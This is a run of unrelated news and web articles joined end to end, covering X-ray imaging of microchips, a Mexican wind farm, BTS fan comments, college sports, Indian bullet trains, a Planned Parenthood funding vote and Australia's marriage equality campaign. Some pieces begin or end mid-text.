I knew my free electron laser would come in handy
Avoiding this time sink is the key to the results published by the Paul Scherrer Institute. The researchers at the institute have access to a nice bright source of X-rays, so they can do this sort of imaging, albeit still too slowly to be interesting for industrial applications.
The paper has two key points to it. First, they show that it works. They obtain very good images from an older generation ASIC and from an Intel Pentium G3260, which has some features as small as 22nm. In both cases, the researchers obtained high-quality 3D images—even showing the edge roughness on the interconnect wires. That is pretty cool and is a clear demonstration that the technology works well.
The second point to the paper was to note that there are a whole lot of new free electron lasers coming on line. Their imaging technique, combined with some optimization in the detector, turned over to these new, very bright X-Ray sources, mean that images of even very complex chips could be obtained quickly.
Now, of course, not even Intel has a free electron laser in the fab. But all of the facilities with this sort of hardware sell companies access to it. Especially early in the development cycle, it may be well worth buying time if it cuts down on the problems with bringing a new chip to market.
Nature, 2017, DOI: 10.1038/nature21698LA VENTOSA, Mexico Mexico inaugurated one of the world's largest wind farm projects Thursday as the nation looks for alternative energy, in part to compensate for falling oil production.
Mexico is trying to exploit its rich wind and solar potential after relying almost exclusively on petroleum for decades. With oil production down by 9.2% in 2008, Mexico now is turning to foreign companies, mainly Spanish, to tap its renewable riches.
"If we don't do something about this problem of climate change it probably could become — I'm sure it already is — one of the biggest threats to humanity," said President Felipe Calderon at the inaugural ceremony attended by about 1,000 residents, many of whom held on to their cowboy hats on this wind-swept day.
The new, $550 million project is in a region so breezy that the main town is named La Ventosa, or "Windy." It's on the narrow isthmus between the Gulf of Mexico and the Pacific Ocean, where winds blow at 15 mph to 22 mph, a near-ideal rate for turbines. Gusts have been known to topple tractor trailers.
Spanish energy company Acciona Energia says the 6,180-acre farm should generate 250 megawatts of electricity with 167 turbines, 25 of which are already operating. The rest should be on line by the end of the year, making the project the largest of its kind in Latin America.
It will produce enough energy to power a city of 500,000 people, while reducing carbon monoxide emissions by 600,000 metric tons each year, according to the company.
Esteban Morras, Acciona board member, said the project could be just the start for Mexico.
"This country has great potential for wind development and should take advantage," he said.
The project is also a joint venture with Cemex Inc. and will provide 25% of the Mexican cement giant's energy needs, fulfilling the company's goal of using alternative fuels.
Mexico hopes to boost the nation's wind energy capacity, mainly at La Ventosa, to 5,000 megawatts — about 10 times its current output. Wind energy now accounts for less than 2% of electricity production.
Energy Secretary Georgina Kessel said the government is planning a series of wind projects that by 2012 should generate 2,500 megawatts of electricity.
"The intensity of wind in various parts of the country can make our plants among the most efficient in the world," she said.
But the project hasn't been welcomed by local residents, who say they see few benefits and aren't being paid enough for use of their lands.
Several hundred protesters blocked a road leading to the site, holding a banner reading "no to the project."
The mayor of Juchitan, the municipality where La Ventosa is located, attended the ceremony but called for more benefits for the local community.
"We want to be part of a project that does not consider us just cheap labor but property owners and partners," Mariano Santana Lopez said.
Critics argue that foreign companies build the turbines, rent the land, run the project and produce the power for companies like U.S.-owned retailer Wal-Mart.
"They promise progress and jobs, and talk about millions in investment in clean energy from the winds that blow through our region," a leftist farm group known as the Assembly in Defense of the Land said in a statement. "But the investments will only benefit businessmen, all the technology will be imported... and the power won't be for local inhabitants."
The group is calling on supporters to "defend the land we inherited from our ancestors." But so far it hasn't been able to stop the project.
Acciona, for its part, says the construction of the project created 850 jobs.
Local residents, largely Zapotec Indians, are accustomed to foreigners' coveting their land. The United States demanded rights to transport goods over the isthmus in the 1850s, and foreigners tried to build a railway alternative to the Panama Canal there.
Copyright 2009 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.post response: +678
1. [+1880, -419]
They are impressive locally but they are #1 in 23 countriesㅋㅋㅋhul
2. [+1573, -349]
I was so chocked when I saw yesterday's chartㅋㅋㅋㅋㅋ they are breaking off everything ㄷㄷ
3. [+1412, -310]
They are doing well locally and internationally huh
4. [+1407, -355]
Seriously, all their side tracks are unique. They look so sophisticated this time, they'll do well
5. [+1228, -323]
As expected, BTS are unstoppable... Advancing Bangtan, fighting~!!
6. [+381, -61]
They are so popular in the Americas and in Europe. K-pop is usually more famous in Asia but they have so much popularity in the western countries
7. [+401, -68]
They are different than your usual style and their new MV is so high quality... Please don't get hurt in this promotion
8. [+404, -70]
Ah seriously, Blood, Sweat, Tears, is so addictive;;; that part keeps replaying in my head ㅋㅋㅋㅋㅋㅋ
T/N: sorry for the influx of BTS articles, if you don't like them deal with it 8-) (sorry, we just didn't compile them into 'BTS stuffs' since we didn't have time and saw these articles just now ;;)original post: hereConference USA Commissionerannounced today that The First, a National Banking Association, which is headquartered in Hattiesburg, Mississippi, has entered into an agreement to be the title sponsor for the 2017 C-USA Baseball Championship.The First, A National Banking Association, Conference USA Championship will be held May 24-28 at MGM Park – a three-year-old facility located right on the waterfront of Biloxi, Mississippi. It marks the tournament’s return to a neutral site for the first time since 2012 and just the sixth time in the league’s history. The 22nd Annual Championship will feature the top eight teams in regular-season league play and the format consists of two double-elimination brackets, with a single-elimination championship game that will be nationally-televised by CBS Sports Network. All other games of the championship will be available on ESPN 3.With branches across four states in Alabama, Florida, Louisiana and Mississippi, The First is committed to giving back to the communities where they serve to ensure a brighter future for everyone. The company strives to improve the quality of life within the communities it serves by providing a wide variety of financial products and services along with exceptional customer service."We are excited to welcome The First as a conference championship title sponsor," said MacLeod. “As a major supporter of one of our member schools, we are fortunate that they have embraced the entirety of the conference and the stellar level of competition among our baseball programs.”“We are excited about the C-USA Championship returning to Mississippi and are proud to be the title sponsor,” The First CEOadded. “This tournament will have a significant economic impact on the Mississippi Gulf Coast and we look forward to our partnership with C-USA.”Conference USA is an NCAA Division I athletic conference based in Irving, Texas, that services 14 institutions of higher education – Charlotte, FIU, Florida Atlantic, Louisiana Tech, Marshall, Middle Tennessee, North Texas, Old Dominion, Rice, Southern Miss, UAB, UTEP, UTSA and WKU. Now in its third decade, Conference USA has adapted to the ever-changing landscape of collegiate athletics with an unwavering commitment to excellence, integrity and leadership in competition, academics and community.The First, A National Banking Association is headquartered in Hattiesburg, Mississippi. Founded in 1996, the First has operations in Mississippi, Louisiana, Alabama and Florida. The First began as a dream on a back porch in South Mississippi. A group of local businessmen talked about creating a bank that would take care of business by taking care of people one customer at a time... and The First was born. The First is more than a bank... because it is still a group of friends building relationships and taking care of business one customer at a time! The First has achieved 68 consecutive quarters of profitability and earned a 5-Star Rating (the highest given) by BauerFinancial, “the nation’s bank rating service.” The First currently has 48 locations and assets exceeding $1.7 billion. The Company’s stock is traded on NASDAQ Global Market under the symbol FBMS. For more information, log onto www.TheFirstBank.com.Ten years ago this fall, Texas Tech safety Dwayne Slay rocketed into college football's consciousness, dishing out one highlight-making hit after another on the way to being named Big 12 defensive player of the year and all-American.
Hitting opponents was one thing, but Slay's more pleased by how he hit the books. He earned a degree Saturday at Tech's fall commencement.
"More than being all-Big 12, all-America, all that, walking across that stage is a big moment for me," he said, "and, to me, the most memorable moment of my Texas Tech career."
In fall 2013, out of football but wanting to coach, Slay returned to Tech classrooms to pursue the 50-plus credit hours he needed to complete an undergraduate degree in human sciences.
He says he's proud to be known as a Tech graduate, more so than for his most remembered hit - a bell ringer on Kansas State quarterback Allan Evridge during that 2005 season when the Red Raiders went 9-3.
"Although that is big and a lot of people talk about it to this day," Slay said, "but walking across that stage was a feeling I've never felt before."
Slay, a Georgia native who came to Tech from a California community college, set a Big 12 record with eight caused fumbles his senior year and made a team-leading 114 tackles. Days apart, he was named the top defensive player in the Big 12 by The Associated Press and a first-team all-American by Sports Illustrated.
A pro career never really panned out.
With a degree, though, Slay has renewed belief in a bright future.
"I've got this attitude where I believe in great things," he said. "I believe in myself. Not to sound conceited or self-absorbed. I'm not. Everybody who knows me knows I'm about others first and I put other people before me.
"I want to be great. I want to do great things for people. In order to do as much as I want to do for them, I've got to put myself in position to be able to help them. This degree is the first step."
Slay came to this point after a sometimes rocky past decade, both personally and professionally. Undrafted after his big senior season at Tech, Slay caught on with the Chicago Bears as a free agent.
He was on the practice squad at the end of the 2006 season as the Bears prepared to face the Colts at Super Bowl XLI in Miami. He suffered a torn Achilles tendon that week in practice.
Then came far worse news: Slay lost his mother the morning after the Super Bowl. Verna Slay was 48. She had suffered from diabetes and hepatitis C.
Losing her threw Slay for a loop.
"After that happened, my passion as far as playing the game, I felt it leaving me slowly after she passed," he said, "because my mom and I were very best friends. We were very close.
"A lot of my football ability and drive came from her. She came from humble beginnings, and my father did as well. They taught us what hard work could do for us, my siblings and I."
Slay bounced to the Canadian League's Winnipeg Blue Bombers in 2008 before coming back to Texas and working non-football jobs. Listening to friends who told him he could still play, Slay tried Arena football with the af2's Amarillo Dusters and the Indoor Football League's Allen Wranglers.
Terrell Owens briefly was a teammate.
"It was just good to be around it again," Slay said. "At that point, I realized I still loved the game. I didn't love playing it, but I loved being around it."
That led to the thought of wanting to coach. That led to the reality he needed a college degree. That led to the 31-year-old ex-player donning cap and gown Saturday to the delight of a half dozen family and friends at the United Supermarkets Arena, including his new fiancee Candice Harris.
Slay said he finished with a 3.0 grade-point average.
For the last year-plus, Slay said he had to coordinate being a full-time student with a job at the Lubbock County Juvenile Justice Center.
In a way, it was like the busiest days for a football player.
"I could correlate it with that and compared it," he said. "It was almost like two-a-days at times. I realized it was something I had to do, something I needed to accomplish. It didn't matter how tired I was.
"I said, I've got to grind and grind and grind and go after it. The way I attacked the football field and meetings years ago, that's what I did academically and on my job. To me, (Saturday) was a day which started a long time ago, and that makes it sweet."
[email protected]
• 766-8734
Follow Don on Twitter
@AJ_DonWilliamsI’ve had enough positive experiences with high-speed rail to be convinced it’s an excellent idea. For a journey up to 800 kilometres, you get from door to door as quickly as you do by airplane, and in greater comfort. On my last such trip, in the summer of 2014, I travelled from Basel to Paris for a couple of meetings and got back to my Airbnb room in time for dinner, feeling almost as fresh as I did when I left. I had fast wifi all the way, and a comfortable table for my laptop, and didn’t have to deal with a long commute to an airport, the security queue, getting on and off a bus, and all the safety belt and flight mode stuff that makes travelling by air unpleasant. China has demonstrated the viability of HSR on longer routes like Beijing-Shanghai, which is just short of a Bombay-Delhi journey.Being a supporter of HSR, I cannot dismiss as a vanity project or white elephant the agreement signed last week between Narendra Modi and the visiting Shinzo Abe that foresees bullet trains shuttling between Ahmedabad and Bombay on freshly laid high speed tracks in about a decade. If I had to choose the ideal HSR link in India, it would be the one chosen by the National Democratic Alliance administration, or an extension of it: an Ahmedabad-Poona link with stops at Baroda, Surat and Bombay, connecting millions of potential travellers in some of the nation’s most affluent cities.This is mainly a gut feeling, and my gut feelings are often way off base. If you had predicted when Tata Motors bought JLR that the company would sell more Jaguars than Nanos in 2015, I’d have bet my house against you, and ended up homeless. However, since the government offers little information to help citizens make informed estimates of demand for bullet train services, gut feelings are all we have to go by. Or almost all. There’s the stunning success of HSR in China to consider. By the time the first Shinkansens start running between Ahmedabad and Bombay, India’s per capita income will be somewhere in the range of China’s when high speed rail commenced there, making the example relevant.The Modi-Abe pact drew fire before the ink had dried on it. Writing for Scroll, Shoaib Daniyal contrasted the high cost of the plan with relatively low central government outlays on schools, health and rail safety. Daniyal’s comparisons were unfair for two reasons. First, central spending on sectors like education and health care is augmented by state and municipal corporation budgets. Second, as Vivek Kaul pointed out in a defence of the project in theHuffington Post, the estimated cost of the HSR rollout is spread over seven years, and ought not to be compared with a single year’s budget for any service.However, Kaul himself over-reached when he wrote, “Japan has offered a loan more than Rs 79,000 crore to be repaid over 50 years at an interest rate of 0.1% per year [Yes, you read that right!]. Further, the loan comes with a 15-year moratorium … Once India starts repaying the loan, it would have to pay an EMI of Rs 135 crore per month. In fact, the interest is so low that the total repayment over 50 years will amount to just Rs 81,000 crore. This means an interest component of Rs 2000 crore over fifty years. The government of India can clearly afford this.”This calculation fails to take into account the fact that the loan is yen-denominated, which means any depreciation of the rupee will make repayment costlier. Back in 2013, Indian companies faced a debt crisis when the rupee sank against the dollar, making their low-interest, dollar-denominated loans prohibitively expensive almost overnight. It was the moment when the mood of Indian industry shifted decisively in favour of the Bharatiya Janata Party against the then ruling United Progressive Alliance. Of course, the rupee could appreciate against the yen in the future, making yen denominated loans easy to pay. But history is not on the rupee’s side. I had a coin collection as a kid, and used to calculate its value weekly by consulting foreign exchange rates published in India Today. As I recall, one rupee bought about 25 Japanese yen at that time. Today a rupee buys less than two yen.The Bank of Japan has held interest rates at zero for years, allowing the government to offer cheap loans to nations like India, but there’s another wrinkle in cost estimates that the Japanese must have taken into account. When construction of the Gujarat-Maharashtra link begins, other states are bound to start pressing for similar investments. Once locked into the Shinkansen system, India will then have to lay tracks and purchase trainsets from the Japanese without subsidy. We might also end upbuilding unviable routes because of political pressure.The central question is how quickly we actualise plans that are currently on paper. China began constructing the Beijing–Shanghai high-speed railway line in April 2008, completed track laying in November 2010, and kicked off the commercial service in June 2011. India obviously cannot achieve comparable momentum, but having bitten the bullet train bullet, our ability to fast track the fast track will be the most important signal of high-speed rail’s ultimate success or failure in the country. And who knows, the sight of sleek bullet trains next to shabby locomotives might shame us into upgrading the rest of our rail infrastructure.Darren Shahlavi, a martial artist who appeared fighting in such works as the “Mortal Kombat: Legacy” TV series and “Arrow,” has died, his agent has confirmed. He was 42.
According to his agent, Shahlavi died in his sleep Jan. 14. A cause of death was not revealed.
Shahlavi recently finished shooting on “Pound of Flesh” with Jean-Claude Van Damme, and is also known for his work in “Ip Man 2” (2010), “Watchmen” (2009), “300” (2006) and “Alone in the Dark” (2005).
Shahlavi began martial arts training when he was 7 years old in Manchester, England. He cut his teeth by moving to Hong Kong in the early ’90s and becoming a stuntman in kung fu films, before he was discovered by director Yuen Woo Ping, who cast him as the villain in kung fu film “Tai Chi Chuan.”
Shahlavi then broke into Hollywood, scoring supporting roles as a boxer fighting Eddie Murphy in 2002’s “I Spy” and 2004’s “The Final Cut” with Robin Williams. In TV, he was a guest star in “Sanctuary,” “Human Target” and “Reaper.”
Shahlavi returned to Hong Kong action films in 2010, co-starring with Donnie Yen and Sammo Hung in “Ip Man 2,” the semi-autobiographical tale of Bruce Lee’s real-life kung fu master Ip Man. Shahlavi played the evil British boxing champ the Twister. The movie would go on to become the most successful Asian film at the box office in 2010.
In 2011, he appeared as Kano in “Mortal Kombat: Legacy.”
In the past few years, Shahlavi had a guest role in the CW’s “Arrow,” appeared in 2012’s “Metal Hurlant” and had a starring role in 2012 TV movie “Aladdin and the Death Lamp.”
On Tuesday, “Arrow” star Stephen Amell tweeted about the news.The PBE has been updated! New stuff includes minor updates to, a new summoner icon featuring's sapling, two new NA LCS summoner icons, new ability icons for, new item icons forandtentative balance changes, and moreContinue reading for more information!
(Warning: PBE Content is tentative and iterative - what you see may not reflect what eventually gets pushed to live servers! Manage your expectations accordingly. )
Sweeper Alistar Updates
Sweeper Alistar has received a few updates to his textures, most noticeable in the colors of his jersey.
New Skarner Ability Icons In addition to Nidalee & Tryndamere, Skarner has also received a new set of ability icons in this PBE cycle!
( Passive, Q, W, E, R )
New Item Icons The two items added in the last PBE patch, Ardent Censer and Essence Reaver, have had their placeholder icons replaced with new art!
New Summoner Icon A new summoner icon featuring Goalkeeper Maokai's sapling has been added. It rules.
New LCS Summoner Icons Summoner icons for compLexity and LMQ, two teams to join the NA LCS this split, have been added!
[ Continued ] Nidalee Gameplay Update Riot Repertoir with today's Nidalee gameplay update. As usual, here'swith today's changeslist for thegameplay update. "Changes following 6/6 |
to the challenge and the opportunity.”
Michael Taylor from Trubridge sponsor Steinlager told the New Zealand Herald:
“Clearly his recent dives are a sure sign his current form is on track to give it his best and make good on his promise.”A MAN found with serious head injuries next to a bridge in York remains in a critical condition in hospital.
Lendal Bridge and Dame Judi Dench Walk were cordoned off by police for several hours on Friday, after a 25-year-old man was found injured at about 3am.
The man, who has not yet been named but is believed to be from London, was rushed to Leeds General Infirmary, where he remains in a critical condition.
Police appealed to the public to report any sightings of the man prior to his injuries, in an effort to find out what happened to him.
Anyone who witnessed anything that could help police is asked to phone 101, select option 1 and speak to the Force Control Room, quoting reference 12170027352.
Sheets of tarpaulin had been covering the pavement and steps until Sunday night, with a patch of blood visible under the sheet on the pavement.
The bridge over the River Ouse was originally closed to traffic on Friday morning, causing traffic congestion, and with First York diverting their services, but the bridge reopened to vehicles at 11.45 am.
Pedestrians crossing the bridge and finding their paths blocked were helped to cross the busy road by police.
Police said on Friday that the 25-year-old London man was in a critical condition at Leeds General Infirmary, and there has been no update on his condition since then.
A forensics officer in a white suit arrived at the scene in the late morning on Friday and examined the steps leading down to Dame Judi Dench Walk.
Forensics were seen photographing the bridge area.
A spokeswoman for Yorkshire Ambulance Service said a man had suffered serious head injuries and was taken to the Leeds General Infirmary by paramedics.
Anyone who was in the area at about 3am is urged to contact York Serious Crime Team urgently on 101.
A North Yorkshire Police spokeswoman said: "Police attended the scene at 3.03am Friday 17 February, where a man had been found with serious injuries at the bottom of the steps on Dame Judi Dench Walk, Lendal Bridge in York.
"The 25-year-old man from London has been taken to LGI where he remains in a critical condition."
Anyone who witnessed anything that could help police is asked to phone 101, select option 1 and speak to the Force Control Room. Quote reference 12170027352.The Senate on Monday failed to advance a Republican-sponsored bill that would defund Planned Parenthood. Democrats filibustered the bill, which needed 60 votes to advance. The effort fell short in a 53-46 vote.
The bill would have stripped the women’s health organization of the more than $500 million it receives in federal funding.
In response to the argument that other providers can take up what Planned Parenthood does, Washington Sen. Patty Murray claimed that “is like saying you can pour a bucket of water into a cup. It will not work.”
On the other hand, Nebraska Sen. Deb Fischer insisted that the group has “lost the public’s trust and engages in violations of federal law.”
Unlike the House Republican budget proposal released in March, which would have eliminated the federal women’s health program entirely — the fourth attempt to do so since 2011 — the Senate bill under consideration Monday would redirect funds. Instead of Planned Parenthood, the focus under the new proposal would be on “places like community health centers and hospitals, which have almost fifteen times more facilities nationwide and provide more comprehensive health services,” according to a TIME magazine op-ed by the bill’s chief sponsors, Sens. Joni Ernst, James Lankford and Rand Paul.
Republican sponsors of the bill have insisted that women’s access to healthcare will be uninterrupted. Public health experts aren’t so sure.
RELATED: About those Planned Parenthood investigations
“It is impossible to know what would happen to the more than a million clients who rely on these centers for their care,” Kinsey Hasstedt, public policy associate at the Guttmacher Institute, wrote to msnbc in an email. But, she added, “Planned Parenthood health centers offer a broader range of contraceptive methods, are more likely to offer same-day appointments and have shorter wait times for women to get into care than any other type of provider. Planned Parenthood health centers are also more likely than health centers that deliver family planning services in a broader primary care context to offer contraceptive methods on-site as opposed to by prescription.”
Close video Planned Parenthood pres.: Defunding efforts are about denying women care Andrea Mitchell talks with Planned Parenthood president Cecile Richards about the vote in the Senate Monday afternoon over whether to kill federal funding for Planned Parenthood. share tweet email save Embed
Defunding Planned Parenthood has actually been put into practice in a populous state with many uninsured people, Texas. According to the state’s own numbers, the first two years of its multi-pronged attempt to make sure Planned Parenthood got no public funding in the state resulted in 9% fewer women being helped. That’s 18,796 women who didn’t get access to contraceptive counseling and prescriptions, pelvic exams, pap smears and testing for sexually-transmitted infections. Eighty-two health centers closed, some of them independent providers.
“The reduction in the number of women served is due, in part, to the change in the provider base that occurred in January 2012 with the exclusion of abortion providers and affiliates,” according to an official report to the Texas legislature by the state’s Health and Human Services Commission.
A study published in the American Journal of Public Health found even starker numbers: “Overall, 25% of family planning clinics in Texas closed. In 2011, 71% of organizations widely offered long-acting reversible contraception; in 2012–2013, only 46% did so. Organizations served 54% fewer clients than they had in the previous period.”
RELATED: Indiana clears Planned Parenthood of wrongdoing after videos
Under current law, no federal funding can go to abortion except in cases of rape, incest and life endangerment, though states can use their own Medicaid funding to cover abortions if they choose to. Texas does not. Before the legislature acted in 2011, Planned Parenthood affiliates getting funding through a state-federal program were already not performing abortions. That didn’t matter to then-Gov. Rick Perry or his allies in the legislature; as Perry’s spokeswoman put it at the time, “Planned Parenthoods across the country provide abortions, are affiliated with abortion providers, or refer women to abortion providers.”
Texas dealt women’s health a one-two punch: It reduced the overall number of family planning funds, and then it put Planned Parenthood at the bottom of a tiered system for funds. Because federal Medicaid law prohibits discriminating against qualified providers, Texas also lost its federal matching grant in 2012. Some of those funds have since been returned to Planned Parenthood affiliates and other providers who banded together to sidestep the state. Under the program the state of Texas lost by refusing to fund Planned Parenthood, the federal government matches $9 for every $1 the state spends.
“It varied in different parts of the state, but certainly in many areas, the community clinics were not able to just take up the slack left when Planned Parenthoods had limited services or in some case closed,” said Ibis Reproductive Health Vice President for Research Dan Grossman, who is part of a multi-year study of the impact of Texas policy on women. “They didn’t have the specialty providers that were trained to offer, especially, the long-acting methods, like implants or IUDs. They’ve really been focused on primary care and that’s not such an easy thing to do to reorient their focus.”
Asked whether diverting funds away from Planned Parenthoods would make a difference, Grossman said, “Even if it were strictly an issue of providing a ton of money to them to scale up these services, that doesn’t happen overnight.”
RELATED: Push to defund Planned Parenthood lacks votes to pass
Grossman and his colleagues conducted a survey of abortion clinics in Texas last summer. Forty percent of the women there seeking abortions told the researchers they were unable to get the contraceptive method they wanted in the previous three months. ”They cited the high cost of a method, or couldn’t find a place to go or didn’t know where to go,” Grossman said. In South Texas, which has been particularly hard hit by the closures, women with the freedom to cross borders said they go to Mexico to purchase contraception, and women who can’t try to find birth control at local flea markets.
Further exacerbating the situation on the ground, had Texas agreed to expand Medicaid under the Affordable Care Act, 687,000 additional women would now be covered for care that includes women’s health services, according to a report from the National Women’s Law Center. This past June, Texas also banned Planned Parenthood from participating in a federal-state program that screens for breast and cervical cancer. About 10% of the women in the program had been going to Planned Parenthood for services.
“I think Texas is a cautionary tale if you actually put your political agenda before women’s health,” Planned Parenthood president Cecile Richards told msnbc’s Andrea Mitchell on Monday.
Texas isn’t alone in having relied on Planned Parenthood for its public health infrastructure. Until state disapproval and funding cuts shut it down, the only place that tested for HIV/AIDS in Scott County, Indiana, was a Planned Parenthood. That’s the same county that experienced an epidemic HIV outbreak earlier this year.Grasshopper Manufacture and Digital Reality have announced a March 21 drop date for their jointly-made Xbox Live Arcade title, Sine Mora. The self-described “dieselpunk shoot-em-up” will retail for 1200 ($15.00) Microsoft Points and, judging by the action in this new “From Dust to Dust”, throw in a few grey hairs with every purchase.
Sine Mora's development is being headed by Goichi Suda (aka Suda51), the creative mind behind cult hits like Killer7, the No More Heroes series, and the upcoming Lollipop Chainsaw. Designed as a traditional side-scrolling shooter game with HD aesthetics, Sine Mora will feature all the trappings of a schmup adventure, with the addition of a death clock that increases or decreases with every hit. Catering to both the hardcore and casual crowd, the game will also allow for scaling difficulty, and the opportunity to load up with over 60 combinations of planes and weapons.
Watch how hairy Grasshopper's XBLA-exclusive can get in last month's “Level of Difficulty” trailer, and let us know if you're planning to sign up for Suda51's insanity in March.After more than a decade, the Australian Marriage Equality campaign is one of the most well-honed of its kind, bringing together gay and straight supporters and targeting politicians. Now success looks like it will ultimately depend on a plebiscite of all voters. A special report by Brigid Delaney
In a packed hall on a humid day in Ipswich, Ivan Hinton-Teoh, deputy director of Australian Marriage Equality (AME), tells his story. How he fell in love with, proposed to and married his sweetheart. How he had found the one he wanted to be with for the rest of his life.
He explains how his grandmother held gay people in disdain until the moment she discovered her grandson was gay. Within months Ivan married Chris in a commitment ceremony attended by his joyous Nan, his strongest champion to the end.
From Canberra to Adelaide to Albury to Sydney, Hinton-Teoh has stood before crowds or sat in on meetings and told them his story. Often, depending on the audience, he leaves out until late on, as he did with Nan, that his sweetheart was a man.
And then he goes on to explain that after all the happiness of his wedding in Canberra, a week later in December 2013 the high court overturned the ACT Marriage Equality Act, and Ivan and Chris found their union was not legally recognised in Australia.
Hinton-Teoh, now 40, came out when he was 29. He regularly tears up when he tells his story – it is, after all, one of love and loss. But he also uses it as a call to arms. The discrimination is blatant. The courts are capricious. Politicians are not reflecting the will of the people.
Facebook Twitter Pinterest Ivan Hinton, right, and Chris Teoh at their wedding at Old Parliament House in Canberra in 2013. Within a week the high court had struck down the ACT Marriage Equality Act and the marriage, and those of other gay couples, was no longer recognised in Australian law. Photograph: Rob Griffith/AP
“I was that regional kid who struggled to come to terms with my sexuality,” says Hinton-Teoh. “I was certain my parents were going to kick me out. I was terrified of violence I was going to be subjected to in schools. And I was terrified of what my future held because I didn’t have access to the institution of marriage. The government is telling us as soon as we realise our sexuality we don’t have access to this institution, and that’s got to stop.”
Somewhere between 60% and 70% of Australian voters say they support marriage equality, including a majority of Coalition voters, but still, despite it being legal in the US, UK, Canada (where Ivan and Chris were married in 2008), even in Ireland, Ivan’s and Chris’s marriage is not recognised in Australia. This is the country of Mardi Gras and Priscilla, Queen of the Desert of the fair go and egalitarianism. But Ivan, Chris and thousands of other LGBTI couples are still waiting for the right to marry.
Our rallies are different – they are about love, commitment and family Ivan Hinton-Teoh, Australian Marriage Equality
There is a large crowd at the marriage equality rally in Ipswich on a Saturday morning – around200 families with same-sex partners and supporters of marriage equality. Half a dozen rugby types in maroon jerseys with young children in tow fill up the corridor leading off the hall.
Terry Russell, a local delegate of the Transport Workers Union, who is here with his young son, says: “I want my son to grow up in a world where he has equal rights should he be gay. We’ve got some good friends who are gay and they should have the right to be married.”
A lone protester is sitting outside with police, peevish and aggrieved: “They grabbed me and pushed me out. Isn’t that assault?”
Broad, with a beard, he wears a high-vis vest and sweats in the heat. He’s driven an hour to be here from a small inland town and reckons when Islamic State invades Australia, the first people they’ll come for are gay people.
Glenn Lazarus, the rugby league great turned federal senator, still bulky from his playing days, takes to the stage after Hinton-Teoh: “Society is ready for this. Two people who fall in love – they should be able to get married. I just think let’s do it … let’s do it right now.”
Hinton-Teoh comes from a family of successful marriages. “I always wanted that for myself,” he says. And so it is that much of the language around the campaign for marriage equality is reassuring, conservative.
“Our rallies are different – they are about love, commitment and family,” says Hinton-Teoh. “What our campaign communicates is not an adversarial public engagement but one of welcome.”
The Ipswich rally serves several purposes. Partly it is about the gathering and the engagement, where families of like mind and circumstance can meet and share stories and revive for another push for marriage equality.
And there is political calculation here too. Ipswich, viewed down south as potentially suspect (it was the cradle of Pauline Hanson’s One Nation party), is part of a region where there is strong Coalition support for marriage equality. MPs from south-east Queensland who support marriage equality include Terri Butler, Wyatt Roy, Teresa Gambaro and Warren Entsch. But the federal MP for the seat that includes Ipswich, Labor’s Shayne Neumann, opposes it. At this rally only the state Labor member, Jennifer Howard, is in attendance.
Facebook Twitter Pinterest ‘We need to tell our kids it’s OK to be who they are’: Queenslanders stand firm on marriage equality – video
The aims of the rally, according to Hinton-Teoh, are to “highlight the strength of support for marriage equality in the community, to raise the profile of the issue, to start conversations in the community, to give the local member an opportunity to be emboldened by that support and to identify champions within the community who can carry on the campaign on a local level”.
In four years in the marriage equality movement, Hinton-Teoh become very familiar with the inside of airport terminals, regional airstrips, country towns. Over a week he has travelled between Queensland, the ACT, Victoria and Tasmania. The campaign for marriage equality has become a battle – one that has run a lot longer than its advocates expected.
On one level it’s a movement that has spread outwards – to places like Ipswich, Tamworth and Bunbury, where 10 years ago to hold hands with your same-sex partner in public was to risk aggression. But it has also found its natural centre – Canberra, where the federal politicians are – and the fight returns there over and over again.
The numbers game
Australian Marriage Equality emerged in response to the Howard government’s legislation banning same-sex marriage in 2004, when wording of the Marriage Act was changed to state that marriage is an institution between a man and a woman to the exclusion of all others. Rodney Croome, the current director of AME, was among the founders.
The first national co-convenors, when AME was formed in 2005, were Luke Gahan and Geraldine Donoghue, and it had four other leadership teams before Croome took over. Croome’s predecessor, Alex Greenwich, is an MP in the New South Wales parliament. The campaign ran print ads at the time of the Howard amendment and at the 2004 federal election. They started running television ads in 2009 to coincide with the first serious attempt to repeal those amendments. The senior figures in the campaign are volunteers. Hinton-Teoh, a small business owner, says he works more than 100 hours a week for AME, and Croome even more than that.
The strategy is to achieve equal rights via amendments to the federal Marriage Act. “We want to get the majority of members of parliament to support marriage equality,” Croome says simply.
Facebook Twitter Pinterest Rodney Croome, the national convenor of Australian Marriage Equality, is a veteran gay rights campaigner who won a landmark case to legalise homosexuality in Tasmania. Photograph: Mike Bowers for the Guardian
Since the beginning, the organisation has homed in on individual parliamentarians on both sides of the house to persuade them to vote for changes.
It’s a technique that differs from the old style activism of public rallies and the derided clicktivism of electronic petitions. AME instead borrows both from grassroots activism and high-powered, very focused lobbying. For years the most important numbers in AME’s life have been those in the Canberra parliament.
Their strategy is to tick the MPs off electorate by electorate, using constituents to visit their local member to discuss marriage equality.
In 2004 the Labor party, including those on the left such as Tanya Plibersek and Anthony Albanese, voted for the Howard amendments. The Labor party’s large Catholic base and the sway of conservative unions such as the “Shoppies” (Shop, Distributive and Allied Employees’ Association) have meant the party’s support for marriage equality has been hard won.
Last month, Guardian Australia reported that the Shoppies had discussed dropping its opposition to marriage equality at both its national executive and national conference. Research by the union found members either supported marriage equality or were indifferent to it.
Over the past decade, marriage equality first won support from inner-city Labor MPs, then suburban Labor MPs, then, most recently, inner-city Liberals, Croome says. Now comes to the push to persuade rural, regional and suburban Coalition MPs.
“We have selected 25 key electorates where there is a Liberal who could be persuaded,” Croome says. “We aim to ensure that there is always someone going into the [office of the] member to explain why it matters – and telling them their personal story.”
A personal story may include bullying at school or discrimination at work, or it may be a parent explaining how she wants her daughter to have the same chance to marry as her heterosexual sons.
Heterosexual people with no obvious interest can make a difference Rodney Croome, director of Australian Marriage Equality
Hinton-Teoh says: “We have run petitions in the past but what will always be more powerful is when people take the time to share their story.”
There is a space on the AME website to send personal messages to MPs, which is a popular feature. “One of our call outs for stories was so successful that out of respect to the MPs we decided to aggregate the emails – one email for every thousand letters of support. Attached would be a PDF of 1,000 stories for marriage equality,” says Hinton-Teoh.
The AME calls the constituents visiting their MPs “local champions”.
“These people are highly motivated and they organise others,” Croome explains. “They have good local connections – and they can go to the local real estate agent or school principal and encourage them to speak to the MP and persuade others.”
Sarah Henderson, the Liberal MP in the western Victorian seat of Corangamite, was visited by “local champions” and in June announced her support for same-sex marriage. She told ABC 24 that she reached that conclusion after extensive consultations with her electorate.
The campaign wants a declared majority of the house in favour. It doesn’t have that, but is close to a majority that includes undeclared supporters. When Henderson indicated her support, Croome said he believed that might have tipped the balance in the House of Representatives.
